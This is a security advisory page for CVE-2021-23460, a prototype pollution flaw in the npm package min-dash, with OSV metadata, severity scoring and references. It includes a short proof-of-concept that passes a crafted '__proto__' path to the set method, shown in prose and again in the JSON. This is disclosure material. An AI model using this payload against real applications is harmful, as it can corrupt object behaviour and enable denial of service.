GHSA-2M53-83F3-562J

Vulnerability from github – Published: 2022-02-01 00:44 – Updated: 2025-07-18 19:59
VLAI
Summary
Prototype pollution in min-dash
Details

Impact

The set method is vulnerable to prototype pollution with specially crafted inputs.

// insert the following into poc.js and run node poc,js (after installing the package)

let parser = require("min-dash");
parser.set({}, [["__proto__"], "polluted"], "success");
console.log(polluted);

Patches

min-dash>=3.8.1 fix the issue.

Workarounds

No workarounds exist for the issue.

References

Closed via https://github.com/bpmn-io/min-dash/pull/21.

Credits

Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "min-dash"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.webjars.npm:min-dash"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-01-27T23:11:40Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe `set` method is vulnerable to prototype pollution with specially crafted inputs.\n\n```javascript\n// insert the following into poc.js and run node poc,js (after installing the package)\n \nlet parser = require(\"min-dash\");\nparser.set({}, [[\"__proto__\"], \"polluted\"], \"success\");\nconsole.log(polluted);\n```\n\n### Patches\n\n`min-dash\u003e=3.8.1` fix the issue.\n\n### Workarounds\n\nNo workarounds exist for the issue.\n\n### References\n\nClosed via https://github.com/bpmn-io/min-dash/pull/21.\n\n### Credits\n\nCredits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.",
  "id": "GHSA-2m53-83f3-562j",
  "modified": "2025-07-18T19:59:29Z",
  "published": "2022-02-01T00:44:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/bpmn-io/min-dash/security/advisories/GHSA-2m53-83f3-562j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23460"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bpmn-io/min-dash/pull/21"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bpmn-io/min-dash/commit/2c6689e2aa29f4b66a4874a2f3003431e9db48d1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bpmn-io/min-dash"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bpmn-io/min-dash/blob/c4d579c0eb2ed0739592111c3906b198921d3f52/lib/object.js#L32"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-2342127"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-MINDASH-2340605"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in min-dash"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.